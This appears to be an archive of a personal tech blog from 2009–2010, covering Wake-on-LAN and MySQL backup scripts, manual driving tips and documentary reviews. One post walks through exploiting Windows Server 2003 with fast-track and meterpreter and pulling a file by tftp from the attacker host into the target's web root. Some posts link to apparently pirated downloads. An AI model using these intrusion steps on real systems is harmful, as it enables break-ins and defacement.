Sunday, April 25, 2010

Wake on LAN command line script

Automate the Wake On LAN (WoL) by scripting a small but smart script.

First, make sure your hosts can wake on LAN, you may have to check the bios but also make sure to enable  wake function from windows, test that it works with the WOL GUI if you'd like and move to the next step when it works.

Second, download the wolcommand from here, I like to place it in C:\WINDOWS\system32 folder so it can be accessed from anywhere in the local system but you can place it in the same folder as the script which makes this command a dependency for the script.

Third step is the scripting portion, as described at the bottom of enable WoL in windows save all the MACs if there are multiple hosts you want to wake up, in my case the list is as follows:
pc00: 00-07-E9-xx-xx-xx
pc01: 00-07-aa-aa-aa-aa
pc02: 00-07-bb-bb-bb-bb

Place as many MACs as needed in this text file, we named it ip-mac.txt but you can name it anything else and have any other delimiter but make sure to edit the script below accordingly if you do have changes.

Now the fun part:
FOR /F "tokens=2 delims=:" %%G IN (ip-mac.txt) DO wolcmd %%G 192.168.1.255 255.255.255.255
pause

Named it wol.bat (or anything you like) and run or schedule with at command or  The first line is a FOR loop that takes the second field with colon delimiter (:) then execute "wolcmd " with each of the MAC address lines, it may help to learn more about FOR loops to understand this for your case.

Second line is a pause which will wait for user input any key, I just want to make sure the commands were successful otherwise the command window closes before you blink.

Anyway, this seems to work with most PCs, I am also considering placing a sleep few seconds between each MAC wake execution to give the packets time to leave before sending the next.

Let me know what you think!

Enable Wake On LAN Windows XP

In order to wake the computer from the Local Area Network you may need to check the BIOS to allow this but since there are too many different ones I will cover the Windows XP enabling (same with server 2003 and similar to older and newer versions of windows operating systems).
On your PCs Network Interface Cards (NICs) you require to "Allow this device to bring the computer out of standby", and here is how to do it:

1. First locate the Local Area Network properties, normally can be found in Control Panel > Network Connections (Fig. 1) double-click your network connection to get to the Status
Fig. 1
2. Next in Status click Properties:
Fig. 2
3. Now in the Properties click Configure:
Fig. 3
4. Now click the "Power Management" tab and select the check-boxes with the wake on LAN capabilities.
Fig. 4
Since with the Intel drivers this section looks different for me, here is a more common look for this tab:
Fig. 5
You will need to check the bottom two boxes and click OK until there are no more open.
And this will -in theory- allow you to bring the computer from a turned off or standby/hibernate state to a powered on and running state.

There are various ways of doing this: Make sure to record the MAC Address found in Support > Details of Fig. 2
Fig. 6 
Press Ctrl+c to copy these details and past them into a noetpad text file and save it for future references.

Next, there are many routers that have the capability to wake the computer's by MAC, either by default firmware or upgraded, in any case I prefer the software on a server in the LAN, so the while the rest of the computers sleep the server can be scheduled to wake them up via the WOL software which can be scripted in my next post.

Sunday, March 28, 2010

How to drive a manual / standard shift gear car

Update: Since I wrote this I have learned quite a bit more about how to drive better, smoother and feel like an automatic car to your passengers and compiled some tips:

#1 my main mistake was not staying in gear long enough, this feels slow and depending on your car power you may need to play with your situation but in my car I found staying until 3 or 3.5 thousand RPM (revolutions per minute) was optimal - unless of course you're in traffic when you don't need that much power and the driving style changes. So this helps avoid the jerk feeling or slowing down when specially when shifting to the second gear since you need more power to get moving and the car is not yet moving fast, stay with the gas until you reach 3,500 RPM and when you plateau on the accelerating you can clutch, let go of gas, shift to second and slowly+smoothly engage the clutch. Same idea for the rest of the gears depending how fast you need to go (street or highway).

#2 when reversing, or rather when sliding the gear into reverse make sure the car is not moving (even a little) because in my car's design it will not allow the gear to enter R if the car is moving even slightly in any direction. First gear will let you slide in as long as your gown <15km/h, also while we are on the reverse topic, the clutch engages a little faster and unless you plan to go far in reverse you probably won't let the clutch out fully. I end up reeving a little and slowly engaging until I get far enough and can go forward.

Feel free to comment your tips, experiences, thoughts etc I know I'm not a pro and far from it...
------------More will be updated as I get them, here is the original article:

A long awaited journey on the learning curve of the manual/ standard shift gear car has began two weeks ago and I wanted to report back on the educational (edu blog) experience.

First, how to get things started, 5 gears and reverse, clutch on the left, break in the middle and gas on the right as usual. The clutch is the most important piece because it is the most used and toughest part in my opinion.

Second, to get moving, clutch has to be all the way down to the floor, start the engine and slide the gear in place.

Now you can press the break and release the hand break (all the while keep the clutch all the way down).
Once in gear and ready (first or reverse - depending where your going) you need to release the clutch very very slowly, this is important, releasing too far will stall the engine. Centimeter by centimeter you release the clutch very small movement of the pedal until you feel the car moving in the direction, or you see the revs get lower but don't let them drop any further without giving gas, because again this is where the engine will stall.

This is the most critical point of driving manual cars, getting from 0 is the toughest in my experience and I'm sure for many others. But from people's instructions and even tutorials on the net (even youtube videos) I noticed the teaching doesn't get me where I am going, anywhere.

So, again, keep the break on, clutch all the way down, release very very slowly until you feel some movement, practice this until you find the 'grip point' of the clutch - where it engages the gear to the wheels.

You don't have to know the mechanics but it helps, once you feel the engagement of the clutch, keep it there and start applying the gas - slowly as well, you don't want to rip it now!

Put the revs above 1, at 1.5 should be sufficient for most cars, at this point the car shouldn't even roll back if you are on a hill, so we solved that problem as well.

Now continue releasing the clutch - still very slowly or the car will jerk, until your left foot is completely off the clutch and now you are moving!

Step three, changing the gears: this one is often overlooked as the getting started part seems tough enough.
Well, from my experience you still need to be very smooth with the clutch in order to not make your passengers seasick, and of course avoid hardware problems in your car mechanics.

Okay, so your at 2.5-3 thousand RPMs of the first gear, you need to switch. Press down the clutch - all the way to the floor and this doesn't have to be smooth, actually best to do this fast [edit: easing off the gas should be smooth as to not launching your passenger forward]. Keeping the clutch down you switch the gear from first to second and now comes the clutch re-engagement part. Don't drop it or else you will jerk the car!

Release the clutch about half way until the engaging point and now smooth out the clutch at a slower release while reapplying the gas, smoothly. Keep in second gear for another 20KM/H or 2.5-3 thousand RPMs again until switching to third, fourth and fifth (unless you have a sixth). From there it is mostly smooth sailing.

Slowing down: down-shifting should still be done smoothly as described above, clutch release is the challenge as always and in this case we can't re apply the gas (unless your using heal-tow maneuver) so you need to get the right gear for what's going to happen next, predicting isn't tough in driving since you know you will need to accelerate after you get past a turn, therefore dropping the gear to second or third, or simply neutral if your coming to a stop (don't down shift to first unless your speed is below 20km/h)

Coming to a stop you should clutch again but don't put in first gear until you are ready to reengage, no explanation for this, just how it is. In other words until you reach 0-10 you should not switch to first gear.

Turning, most of us turn at 30-40KM/H which should put you at 3-4th gears is what I found from experience.

Stop and go traffic will probably put you at 1,2 and sometimes 3ed gears, clutching and if you're like me, using the neutral so my left foot can rest (release the clutch on Neutral).

If you have questions, leave a comment or email.
I will try to get a video put together but it's proving difficult to drive and hold a camera at the same time...
Check out youtube for other people's explanations, but some can be misleading and not entirely great...

Friday, March 5, 2010

Free Windows Software

I compiled a list of Windows software that are free (as in free beer), most are also open source (as in free speech) and I use those commonly for daily tasks, sorted by relevancy and by categories:

To make easier to install all the programs use: ninite.com
Media:
Security/Administration:
Hope you enjoy those as much as I do, I will keep updating this as I find more, any suggestions/ideas/comments are always welcome! Thanks for visiting :)

Last update: May, 2016

Friday, February 19, 2010

MySQL backup script on windows cmd

Just needed to create a windows backup script so thought I would share my findings:

You can download the MySQLBackupScript.zip (1816k) if you're ready to use it or just view the script, otherwise proceed to the explanation.

Dependencies: don't forget you will need mysql.exe and mysqldump.exe which can be obtained from the mysql website and are also provided in the zipped file download link above.

First we use @echo off to hide the commands executed and only display the text after the "echo" command.
Next, I display a message to deter the user from closing the window (since this stops the script) because I need it in my case - it pops up from the scheduled tasks and might be used at the time so it must be clear to the user to not get closed - but you can change this how ever needed, even no output text is possible by avoiding all the echo commands in the script provided.

Now to the meat of the script, the mysql commands;
mysqldump syntax is
mysqldump -uusername -ppassword -hhost.com databasename > backupfile

mysql syntax is
mysql -uusername2 -ppassword2 -hhost2.com databasename2 < backupfile Using the %date:~7,2%-%date:~4,2%-%date:~10,4% command will produce a day-month-year to help distinguish the backups (i.e. backup19-02-2010.sql as formatted in the script). Finally, schedule a task on the machine that will be doing this by going to control panel > scheduled tasks > right click > new > name it and go to properties, find the script location and set the schedule.

This will effectively place a backup on the system the script is in, and upload to the server of host2.com (example shown above), you may of course add as many servers to upload the backups to, simply repeat the line with mysql and change the settings as needed, you can also add the "pause" command if you wish to wait until user interaction to continue the script.

Let me know what you think!
Comment below or email theborisedu@gmail.com

UPDATE: decided to put my project publicly here: https://github.com/borisplotkin/mysql-backup feel free to contribute or download and use!

Sunday, February 14, 2010

If it ain't broke, take [Netgear RP614v2 wired router] apart and fix it.

This old but very stable router is wired, and full of cool features for it's price (I got it as a gift for fixing a friend's computer :)

Specs
• Processor: 166 MHz, ARM9
• Memory: 1 MB Flash, 8 MB DRAM
• Network Interface: - LAN: IEEE 802.3i (10BASE-T) Ethernet or IEEE 802.3u (100BASE-TX) Fast Ethernet (auto-sensing), RJ-45 -WAN: IEEE 802.3i (10BASE-T) Ethernet or IEEE 802.3u (100BASE-TX) Fast Ethernet (auto-sensing), RJ-45
• Functions: - Smart Wizard automatically detects ISP type
(static, dynamic, PPPoE), Port Range Forwarding, Exposed Host (DMZ), DNS Proxy, MAC Address Cloning, URL Content Filtering, E-mail Alerts
• Security Features: - Firewall: Stateful Packet Inspection, DoS Attacks
Detection Logging, Dropped Packet Log, Security Event Log, E-mail Log - VPN Functionality: NAT traversal (VPN passthrough) for IPSec, PPTP, and L2TP VPNs - Mode of Operation: Network Address Translation, static routing [source] (alternate)

It was very simple to take apart, and after putting it back together it still works!

inside a netgear router from smokin robocop on Vimeo.
So as the title says; it wasn't broke but I took it apart and fixed it!

Next post I will be taking you through the upgrade to the new firmware found here and then to a custom firmware - amazingly the source for this router is provided here

anyone interested in improving the router firmware is more then welcome to!

Also recently have upgraded the WRT54G ver.6 which is very low on memory.

Tuesday, February 9, 2010

fastest speed test speedtest.net

Found an old pic of a very fast download/upload speed!


(original image)

Monday, February 8, 2010

how to move torrent files

I've always wondered how to move a torrent file, the actually final downloaded file that is, not the torrent file (Or magnet link) which helped download.



The main reason to do is, well, to avoid clutter. If I have music, videos, ebooks, software and the list goes on - all of this in the same folder called Downloads... well you can see how this could be a problem.

And most operating systems provide a video, music and document folders already so to make full use of these (My videos, My music in Windows XP) or others how do we move the torrent-downloaded files without removing it from the torrent application or causing a file missing type error?

simple in utorrent:
1. Stop the download/seed. Press the red square or right click stop.

2. Move the file/folders as needed in the directory.
I like to use the "drag and drop" feature of windows.


3. Right click the torrent in uTorrent > Advanced > Set Download Location...

4. Browse to the new location... and Save

5. Click No to the question of overwriting (otherwise it will start new download again)

6. Rick click and choose "Force Re-check" in order to verify the files and hashes.

You can now resume the download or just continue seeding if it's done :)

Happy sharing everyone!

Sunday, January 31, 2010

Strange Network Activity

[Update] The issue seems to have been cause by a cheap or just bad switch (it was cheap so I assume that's why), after it seemed to be dead I tested it and the same thing happened in the lab!
Be ware of bad switches!

-----original---------

Recently I have noticed a strange network activity in a workstation PC. It is an older IBM model running Windows XP, the issue has not occoured to me until I opened the Local Area Connection Status window and saw the amount of sent packets under the Activity section (figure 1)



There are probably several possible causes but right now it seems to boil down to a bad connection on the wire or connectors. I have re-installed windows since I have noticed this originally, I also don't remember this PC having issues before it has been moved to the current location but the 'problem' keeps coming back.

The strange thing about this is that the group policies get affected every now and than.

It doesn't seem to have any issues with internet, application, bandwidth or any of the other network components including itself so not a big issue, I guess "if it ain't broke don't fix it"?

But anyway, if anyone has any ideas let me know.

Monday, January 25, 2010

Future by Design Review

After I watched the documentary called "Future by design" I had to mention that while it is a great documentary and very recommended to everyone, it brought many new unanswered questions and ideas to mind. (IMDB, torrent download)

First, I think that Jacque Fresco is a genius. No doubt he finally has shown us the way, I always thought money is a strange concept but never knew how it could be different, and what is possible in a different economy and his imagination of the future is really brought to life in this film. My only criticism is that his thinking and designs that are just too far ahead of our current or near-future reach. While he has amazing ideas with incredible details to his designs and inventions, I feel that we need to focus on the more immediate transitional ideas and the bigger picture that are not covered very much in this documentary.
For example: how do we start?

We really cannot start rebuilding for future cities like he discussed, nor can we build futuristic cities from the ground or in the water. What we can and should do is discuss the type of details that get us out of a monetary based system, unite the world's countries and share resources. Improving education and removing any money related ideas. The list of jobs and ideas that are completely unnecessary is going to be huge so I will not list it here but I hope you get the idea.

Another video on the other hand, does much more in-depth coverage of these ideas is: The Zeitgeist Movement: Orientation Presentation. Similar to ZEITGEIST: ADDENDUM (Also by Peter Joseph), but I felt it is more concise and to the point, with in-your-face fact driven and solutions laid-out type which might not appeal to some. Nevertheless I highly recommend watching this (link above) - and as with everything - you may take it with a 'grain of salt', but I found this very eye opening and in general a topic which is in need of many more and much more open discussions of these ideas.

The very true facts I take from these videos are: with no monetary system there would be no drive for immoral or negative 'criminal' acts. If we re-think the way things work in our world we should be able to improve the global and personal quality of life. If education systems are modified and technology improved for the greater good instead of profit, I believe that our potential is limitless.

So assuming you are as convinced as I am that we need a change in our economic worldwide systems, I keep hitting myself with the same question:
How can we change from the monetary system?

A possible answer is:
If the people in the highest powers are comfortable they will never agree to any change, therefore this must happened from the people that are uncomfortable. But will this be a very fast abrupt change or will it take several discussions to the possible solutions to change to?

As you can see there are many questions and I think that now with an open mind we must ask and discuss these ideas.

Truly I feel the "Resource based economy" idea sounds great in theory there are many more important details that are not covered. Going back to ideas of "Future by Design" it is impossible to assume as Jacque did that all the mundane jobs are automated because that just sounds too far into the future.

So there are many questions that have to be thoroughly discussed and thought out but what we need to do is start thinking what steps can be taken NOW toward a real change in the SYSTEM.

Today's facts as I see them are:
The monetary economy is wholly flawed, motivation for profit creates unrealistically huge amounts of immoral acts, to list a few;
cruelty, crime of murder, theft, and simply things that are wrong by any standard are all done by individuals and groups of individuals (also known as organizations, companies or corporations) for the single most important goal of this economy is MONEY.

There are constant roller coaster of inflation and deflation in value of currencies and more problems I may not be able to think of right now... but all of this is simply unacceptable.

It is unproductive to our technological and academic growth.

The solutions sound simple: remove the monetary system to an education and resource based system but how do we get there from where we are now?

So please I ask of everyone reading this, if you got this far I hope you have some ideas of your own at this point so share them with me or anyone around you.

Thank you

Thursday, January 14, 2010

BackTrack 4 Released!

Recently backtrack version 4 final was released, I would like to take that opportunity to try the USB live install this time instead of the DVD or hard drive like I have done before with the pre-release and previous version.

I am currently downloading it via torrent in order to conserve bandwidth for them and reduce their server load (it seems they have been getting a lot of downloads when they released) but also because I like to stick it to the man and my ISP finally stopped throttling... or maybe it's the protocol encryption utorrent employs.

I'm liking what I saw in the pre-release and I like that they finally got a new website, can't wait to install and start hacking!

Let me know what you think.

Wednesday, January 13, 2010

ZEITGEIST: ADDENDUM review

After watching "ZEITGEIST: THE MOVIE" [RELEASED 6/25/07] by Peter Joseph, I felt that although the documentary is well made, the first part spoke strongly to me but the second part of the documentary was not very close to home in a sense of what I could relate to and the understand or believing the facts presented.

And it is very interesting to consider but the truth is we will never know what happened because they can hide it too well, and what is more important becomes apperent in his second documentary: "ZEITGEIST: ADDENDUM" [RELEASED 10/02/08] from Peter Joseph. This truly inspired me to look further into the future and how things would play out if we lived in a different system - not a monetary based but a resource based economy.

The goals and motivations would shift from the endless and useless money, currently humans are trying to obtain as much money as possible (why? money isn't real anyway!), our goal of making things better for everyone will include ourselves. The rewards will speak for themselves.

To find out more go to http://www.zeitgeistmovie.com/ and http://www.thevenusproject.com/

Let me know what you think in the comments or email.

Powers of 2

2^0 1
2^1 2
2^2 4
2^3 8
2^4 16
2^5 32
2^6 64
2^7 128
2^8 256
2^9 512
2^10 1,024
2^11 2,048
2^12 4,096
2^13 8,192
2^14 16,384
2^15 32,768
2^16 65,536
2^17 131,072
2^18 262,144
2^19 524,288
2^20 1,048,576
2^21 2,097,152
2^22 4,194,304
2^23 8,388,608
2^24 16,777,216
2^25 33,554,432
2^26 67,108,864
2^27 134,217,728
2^28 268,435,456
2^29 536,870,912
2^30 1,073,741,824
2^31 2,147,483,648
2^32 4,294,967,296

Tuesday, January 5, 2010

Oh Canada - Our Bought and Sold Out Land

Did you know it costs four pennies to make one penny?!?!

I watched this interesting documentary, and it is defiantly worth a watch.

Check it out!

http://www.ohcanadamovie.com/

Download or Watch

Summary:
This surprisingly entertaining documentary film explores the history of
banking, the selling out of the prosperity of Canada, the clearance sale of
Canadian businesses and the political liquidation of public infrastructures
to the multi-national corporate oligarchy. How has this led to the biggest
economic crash in Canadian history? Could it have something to do with our
politicians listening to international bankers and corporations instead of
the people Canada? How does the Canadian banking system really work? How
does the central Bank of Canada compare with the American Federal Reserve?

This movie presents these issues that affect every Canadian from the
perspective of and delivered by concerned youth in a astute and colourful
manner. This is a serious journalism piece that asks the tough questions
directly to such politicians as Former Prime Minister of Canada Paul Martin,
Canadian Finance Minister Jim Flaherty, Green Party Leader Elizabeth May,
Ontario Gas Man Dan McTeague, NDP Leader Jack Layton, Mayor of Oshawa John
Gray, Former Prime Minister of Canada John Turner and many more!

We encourage you to seed this torrent, pass it around and freely distribute
it to your friends and family.

Friday, December 18, 2009

php NOTICE and DEPRECATED wamp server errors

to fix this on the wamp server or others that have PHP
locate this line in php.ini file:
error_reporting = E_ALL

change it to this line:
error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED

Monday, December 7, 2009

how to hack windows server 2003 or xp systems

For those not farmiar with hacking, it is a concept of exploration and education.
This post is for educational purposes only and this bug has been patched by latest Microsoft patches.

A great hacking/exploration tool is called backtrack which is a linux distribution but more on that later...

Found a great video to get started: watch the video: http://uploads.blip.tv/file/576639

Basic instructions drawn for this and other videos - in this example; getting into the system with the purpose of adding a webpage to the target (in this case windows server 2003):

1. Log in to backtrack (startx for gui)
2. Start fast-track and choose exploit, enter IP and choose bind.
3. If there are sessions after the attack attempts then type:
sessions -i 1

Basic syntax:
sessions -i ID

4. To get to shell from meterpreter type:
execute -f cmd.exe -c -H -i

5. In another shell start BT tftp service, put your file to /tmp

6. Then get the file from the remote host (BT) in shell via tftp:
tftp -i 192.168.1.101 get /tmp/index.htm c:\inetpub\wwwroot\index.htm

syntax:
tftp -i SERVER_IP get SOURCE_LOCATION TARGET_LOCATION

Note: it turns out that windows server 2003 service pack 1 and up has disabled tftp. So only SP0 will allow this trick. If you encounter those servers you must use another method or start tftp in some manner to transfer the backdoor or whatever you want. In my case I simply used echo to type a sample text into a file created by the command, I called index.html

Remember to be a White hat hacker and let me know how it goes!

Thursday, December 3, 2009

Hide IE8 address bar - leaving back, forward, stop and print buttons

Please purchase the instructions for $4.99USD  (a value of over $100 for Microsoft support) :










1. Get the scripts and icon files for each function e.g. back.html and back.ico (get it here [Download]).
2. Place these in C:\IENav -- make new folder on C drive called IENav
3. Custom reg key to add launch paths and register the guid of the API's for these controls. IE8 with nav controls.txt [View or Download]

4. Run/Merge the custom reg file to add controls to the registry. (Does not require a reboot) Once done open IE7-8 and the Address Bar should now be hidden with the new navigation controls placed on the command bar.
I've renamed the vb and reg files with a txt extension so there aren't any issues with firewalls etc. You will just need to remove the .txt extension.

The icon, html and/or javascript files should all reside in your own folder called IENav and should sit directly under C:\ drive. (See Toolbar.vbs or Toolbar.reg).

If you wish to change this location then you will need to edit the Toolbar.vbs or Toolbar.reg (Whichever option you choose) to point to the new location.

The files (first download above) are for IE7 users however IE8 users can still use these files but will need to rename the .js files from .js to .html, e.g refresh.js would become refresh.html.  
You will also need to edit the vb script or reg key (which ever they use) and change any reference to .js to .html.

[Update Nov. 2011] if you would like to also add print and stop buttons download (mirror)

If you have questions or comments you can leave them below or email to theborisedu at gmail dot com
[Special thanks to Scott Alchin (salchin1 at exemail dot com dot au), read my "how to lock down internet explorer 8 with GPO registry" instructions/article and contributed the instructions above]

Monday, November 23, 2009

cisco packet tracer 5 rapidshare download

cisco packet tracer 5 download!

http://rapidshare.com/files/149263686/packet_tracer.rar

or

http://rapidshare.com/files/318285531/PacketTracer521_setup_no_tutorials.exe

enyoj

Marijuana documentry rapidshare free download

The Union - The Business Behind Getting High rapidshare download:

http://rapidshare.com/files/168712430/TheUnion-TheBusinessBehindGettingHigh.part1.rar

http://rapidshare.com/files/168732351/TheUnion-TheBusinessBehindGettingHigh.part2.rar

http://rapidshare.com/files/168928112/TheUnion-TheBusinessBehindGettingHigh.part3.rar

Or copy and past into your browser:


http://rapidshare.com/files/168712430/TheUnion-TheBusinessBehindGettingHigh.part1.rar

http://rapidshare.com/files/168732351/TheUnion-TheBusinessBehindGettingHigh.part2.rar

http://rapidshare.com/files/168928112/TheUnion-TheBusinessBehindGettingHigh.part3.rar


More info on The union or how to download